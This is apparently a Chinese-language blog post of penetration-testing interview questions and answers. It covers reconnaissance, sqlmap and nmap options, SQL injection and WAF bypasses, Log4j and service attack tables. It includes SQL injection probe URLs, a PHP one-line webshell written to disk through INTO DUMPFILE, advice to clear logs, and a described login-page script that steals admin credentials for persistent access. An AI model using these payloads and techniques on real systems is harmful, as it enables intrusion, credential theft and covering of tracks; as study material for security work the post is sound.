渗透测试面试题

277 阅读15分钟

收集于网络与自身面经,更新中。。。

拿到一个待检测的站,你觉得应该先做什么

1)信息收集
    1,获取域名的whois信息,获取注册者邮箱姓名电话等。(社工密码生成,钓鱼)
    2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
    3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IISAPACHE,NGINX的解析漏洞
    4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
    5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
    6,google hack 进一步探测网站的信息,后台,敏感文件
2)漏洞扫描
    开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
    远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
3)漏洞利用
    利用以上的方式拿到webshell,或者其他权限
4)权限提升
    提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
    linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6)总结报告及修复方案

代码审计的函数

1. 命令执行
    exec                           //执行一个外部程序
    shell_exec || ``               //通过shell环境执行命令,并且将完整的输出以字符串返回      
    system                         //执行外部程序,并且显示输出
    popen                          //通过popen()的参数传递一条命令,并且将完整的输出以字符串的方式返回
    passthru                       //执行外部程序并且显示原始输出
    proc_open                      //执行一个命令,并且用来打开输入/输出的文件指针
2. 文件包含  (漏洞利用需开启文件包含allow_url_include=On)
   include             //找不到文件会警告,程序继续运行,程序运行到该文件才执行
   include_once        //只包含一次,重复的将不包含
   require             //找不到文件会报错,程序停止,程序一运行就执行
   require_once        //只包含一次,重复的将不包含
3. ssrf
    file_get_contents
    fsockopen
    curl_exec
4. 文件操作函数
    copy                           //拷贝文件
    file_get_contents              //将整个文件读入一个字符串
    file_put_contents              //将一个字符串写入文件
    file                           //把整个文件读入一个数组中
    fopen                          //打开文件或者url
    move_uploaded_file             //将上传的文件移动到新位置
    readfile                       //输出文件
    rename                         //重命名一个文件或者目录
    rmdir                          //删除目录
    unlink || delete               //删除文件

nmap扫描端口用什么命令?

-p 加端口号或1-65535
	拓展:nmap端口扫描参数
		-sS (TCP SYN扫描)
		-sT (TCP connect()扫描)
		-sU (UDP扫描)
		-sV (版本探测)
		-O (启用操作系统检测)
		-f (报文分段); --mtu (使用指定的MTU)
		-D <decoy1 ,decoy2,...> (使用诱饵隐蔽扫描)
		-S <IP_Address> (源地址哄骗)

sqlmap常用命令?

-u  检查是否有注入点
--data 使用post
--identify-waf  判断是否有waf
--random-agent  随机agent
--dbs  查看所有数据库
--current-db   查看当前数据库
-D  指定数据库
--tables  列出表名
-T 指定表名
--columns
-C 指定字段
--dump 列出字段内容,转存数据
--level  探测等级
--is-dba   当前用户是否是管理员权限
--roles  查看数据库用户具有的操作权限
--users   枚举所有用户
--passwords  枚举所有用户密码
--tamper    使用tamper

多个tamper脚本之间用空格隔开

  • apostrophemask.py
    用utf8代替引号

  • equaltolike.py
    like代替等号

  • space2dash.py
    绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

  • greatest.py

绕过过滤 >

  • space2hash.py

空格替换为#号 随机字符串以及换行符

  • apostrophenulencode.py

绕过过滤双引号,替换字符和双引号。

  • halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

  • space2mssqlblank.py

空格替换为其它空符号

  • base64encode.py

用base64编码替换

  • modsecurityversioned.py

过滤空格,包含完整的查询版本注释

  • space2mysqlblank.py

空格替换其它空白符号(mysql)

  • between.py

用between替换大于号(>)

  • space2mysqldash.py

替换空格字符(' ')(' -')后跟一个破折号注释一个新行(' n')

  • space2plus.py

用+替换空格

sql注入写入shell

使用sql语句的into outfile进行导出数据
sqlmap命令 --os-cmd
sqlmap命令 --os-shell

log4j原理

原理是log4j2的日志输出jndi远程对象时,调用远程对象没做检查导致,主要是log4j
提供了lookup功能,该功能允许通过ldap协议去读取相应环境中的配置。但在实现的过
程中,并未对输入进行严格的判断,从而造成远程代码执行漏洞的发生,所以我们可以
通过jndi配合ldap协议后面跟上某个文件路径来利用漏洞

防御:禁用jndi  采用最新版本  对dnslog相关访问做过滤  移除jndilookup类文件

敏感文件

1. phpinfo 
2. htaccess 
3. rar 
4. zip 
5. .git 
6. .svn 
7. robots

poc和exp的区别

POC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。

EXP,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。

owasp 漏洞都有哪些?

1SQL注入防护方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发

哪些漏洞getshell

1. 文件包含  
2. 命令执行  
3. sql注入  
4. 端口弱口令 
5. 文件上传 

逻辑漏洞

  • 注册处
任意用户注册
短信轰炸
修改发送包手机号
  • 登录处
任意用户登录
验证码可绕过
用户账号可撞库
验证码爆破
修改用户参数(修改登陆成功的返回包数据,比如ID
  • 支付和越权

extractvalue和updatexml的区别

两者的报错回显长度都是32个字符,如果超过得使用substring来截取 extractvalue是对xml的查询,updatexml是对xml的更新,多了第三个参数

sleep和benchmark的区别

两者都是让程序睡眠N秒, 不同的是

  • sleep是让程序睡眠N秒,精确控制时间。
  • benchmark是一段代码重复执行的次数,不能精确控制时间

SQL注入防护方法?

1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

渗透测试如何获取真实IP?

使用多地ping,如果ip唯一则是真实ip,否则是使用了dns

网站使用CDN如何获取真实IP?

1.查询历史DNS记录  //查看 IP 与 域名绑定的历史记录,可能会存在真实IP信息
2.查询子域名  //站点管理员可能只对部分网站部署了CDN等措施,因此可以通过搜集子域名尝试发现泄露的真实IP
3.使用国外主机解析域名 //一些CDN可能只做了国内的线路,所以使用国外主机可以获取到真实IP
4.网络空间搜索引擎  //网络空间搜索引擎会对整个互联网进行扫描,因此有可能会收录有服务器真实IP的相关信息
5.网站的邮件头信息  //比如说,邮箱注册,邮箱找回密码、RSS邮件订阅等功能场景,通过网站给自己发送邮件,从而让目标主动暴露他们的真实的IP,查看邮件头信息,获取到网站的真实IP。
6.利用网站本身缺陷   //phpinfo等信息泄露
7.扫描全网   //使用masscan、Zmap等工具

讲一下常见的安全漏洞?CVE有哪些比较熟悉?

SQL注入分类以及讲一下原理?

原理就是没有对用户输入的内容进行严格的过滤而直接带到数据库中去执行

1.报错注入  //利用报错信息
2.二次编码注入 //'引号可能会进行转义,这时可以用%2527进行代替,%25=%,再跟27结合%27='
3.base64注入  //针对传递的参数被base64加密后的注入点进行注入
4.二次注入 //有些虽然被转义后存入数据库,但是有可能会被使用的时候被利用
5.宽字节注入  //原理跟base64类似,当数据库设置为gbk编码时,可以使用%df%5C%27代替" 運' "
6.http头注入  
7.布尔盲注   //没有报错信息时可以利用布尔盲注,常用函数:substr、substring、length、ascii、if
7.时间盲注   //没有报错信息时可以利用布尔盲注,常用函数:sleep、benchmark、substr、substring、length、ascii、if

了解哪些WAF?SQL注入如何绕过WAF?

1.空白符替换:a0%、注释符、+
2.绕过关键字:大小写、双写、编码
3.使用等效函数或命令
4.参数污染,如使用id=1&&id=2,Apache / PHP会有解析漏洞,只获取最后一个
5.缓冲区溢出,waf必须在性能与安全之间中和,如果出现缓冲区溢漏洞可能会导致WAF崩溃

安全服务的职责以及工作内容了解吗?

1.负责公司安全产品部署,更新以及日常运维,如系统状态监控,日志分析,故障恢复;
2.配合公司安全专家进行各类安全事件应急响应、排除等工作;
3.关注最新的安全动态和漏洞信息,及时发现客户相关系统的漏洞,并协助相关单位进行修复跟进工作;
4.参与客户系统安全漏洞的扫描和评估工作;
5.客户交代的其他工作。

代码执行,文件读取,命令执行的函数都有哪些?

1)代码执行:

eval,preg_replace,assert,call_user_func,call_user_func_array,create_function

2)文件读取:

file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3)命令执行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

平时是怎么了解安全资讯的?

1. 公众号
2. 博客
3. 官网
4. blibli

include、require、include_once的区别

include找不到文件会警告,程序继续运行,程序运行到该文件才执行
require找不到文件会报错,程序停止,程序一运行就执行

怎么找到绝对路径

1. 输入错入内容使程序报错,爆出路径
2. 如果有读写权限,可用load_file读取配置文件信息查找
3. nginx文件类型错误解析爆路径
4. eval()函数可控的话,直接传入phpinfo(),通过phpinfo页面中Document_Root参数获取网站绝对路径。

whois查詢主要查的是什么?

1.域名信息
2.注册商
3.联系人
4.联系邮箱
5.网站创建时间
6.网站过期时间
7.DNS信息
8.网站状态

IIS常见漏洞

1PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞

发现IIS的网站,怎样试它的漏洞?

区分版本
	1.IIS6.0/7.5解析漏洞
	2.IIS 7.5 NET源代码泄露和身份验证漏洞
	3.IIS 7.5经典的ASP验证绕过
	4.IIS 6.0安装PHP绕过认证漏洞

遇到WebLogic的网站容器,你会测什么漏洞?

weblogic反序列化漏洞

常测什么端口

443 网页浏览端口
445 共享文件夹
3306 mysql数据库
1443 mssql数据库
20 21 ftp
	拓展:常见端口号
		端口号    端口说明    				攻击技巧
		21/22/69  ftp/tftp:文件传输协议    爆破\嗅探\溢出\后门
		22    	  ssh:远程连接    			爆破OpenSSH28个退格
		23    	  telnet:远程连接    		爆破\嗅探
		25    	  smtp:邮件服务    		邮件伪造
		53   	  DNS:域名系统    			DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙
		67/68     dhcp    					劫持\欺骗
		110    	  pop3    					爆破
		139    	  samba    					爆破\未授权访问\远程代码执行
		143    	  imap    					爆破
		161    	  snmp      				爆破
		389       ldap    					注入攻击\未授权访问
		512/513/514 linux r    				直接使用rlogin
		873    	  rsync    					未授权访问
		1080    socket    					爆破:进行内网渗透
		1352    lotus    					爆破:弱口令\信息泄漏:源代码
		1433    mssql    					爆破:使用系统用户登录\注入攻击
		1521    oracle    					爆破:TNS\注入攻击
		2049    nfs    						配置不当
		2181    zookeeper    				未授权访问
		3306    mysql    					爆破\拒绝服务\注入
		3389    rdp    						爆破\Shift后门
		4848    glassfish    				爆破:控制台弱口令\认证绕过
		5000    sybase/DB2    				爆破\注入
		5432    postgresql    				缓冲区溢出\注入攻击\爆破:弱口令
		5632    pcanywhere    				拒绝服务\代码执行
		5900    vnc    						爆破:弱口令\认证绕过
		6379    redis    					未授权访问\爆破:弱口令
		7001    weblogic    				Java反序列化\控制台弱口令\控制台部署webshell
		80/443/8080    web    				常见web攻击\控制台爆破\对应服务器版本漏洞
		8069    zabbix    					远程命令执行
		9090    websphere控制台    			爆破:控制台弱口令\Java反序列
		9200/9300 elasticsearch    			远程代码执行
		11211    memcacache    				未授权访问
		27017    mongodb    				爆破\未授权访问

常见端口和服务

端口说明攻击方法
21FTP-文件传输协议弱口令、爆破、嗅探、后门
22ssh-安全隧道远程登陆弱口令、爆破
23telnet-远程连接弱口令、爆破、嗅探
25smtp-简单邮件传输协议邮件伪造
53domain-DNS域名解析服务DNS劫持、缓存投毒
80/443http服务常见Web漏洞、IIS写文件、OpenSSL
139Samba服务爆破、远程代码执行
445局域网共享ms-17010漏洞(Win7及之前版本)
873Rsync远程代码执行
1433MSSQL数据库爆破、SQL注入
2049NFS未授权访问
3306MySQL数据库爆破、SQL注入
3389rdp-远程桌面连接爆破、漏洞ms12-020
5432postgresql爆破、注入
5632Pcanywhere拒绝服务等漏洞、爆破
5900VNC远程登陆爆破、认证绕过
6379Redis未授权访问
7001/7002weblogicJava反序列化漏洞
9990jboss远程代码执行、Java反序列化

sql注入判断数据库

后台数据库类型判断:

一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,在此不多说;

二、通过各个数据库特有的数据表来判断:
    1、mssql数据库 sysobjects
      http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
    2、access数据库 msysobjects
      http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
    3、mysql数据库(mysql版本在5.0以上) information_schema
      http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
    4、oracle数据库 sys
      http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

判断出网站的CMS对渗透有什么意义?

1. 查找网上已曝光的程序漏洞。
2. 如果开源,还能下载相对应的源码进行代码审计。

如何突破注入时字符被转义?

1. 宽字符注入
2. hex编码绕过

mysql5.0以上和5.0以下有什么区别?

1. 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
2. 5.0以下是多用户单操作,5.0以上是多用户多操做。

在有shell的情况下,如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到
一个生僻的路径的文件中或者直接发到自己的网站文件中。在登录后才可以访问的文件中插入XSS脚本。

CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起\
SSRF是服务器端请求伪造,由服务器发起\
重放攻击是将截获的数据包进行重放,达到身份认证等目的

说出至少三种业务逻辑漏洞,以及修复方式?


密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。
身份认证漏洞中最常见的是

1)会话固定攻击

2Cookie 仿冒

只要得到 SessionCookie 即可伪造用户身份。
验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

sql注入写文件都有哪些函数?

select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';

outfile函数可以导出多行,而dumpfile只能导出一行数据

outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

简历上的项目经历描述一下?负责的职责?

简历上写过会使用爬虫,讲一下原理和使用哪些函数库?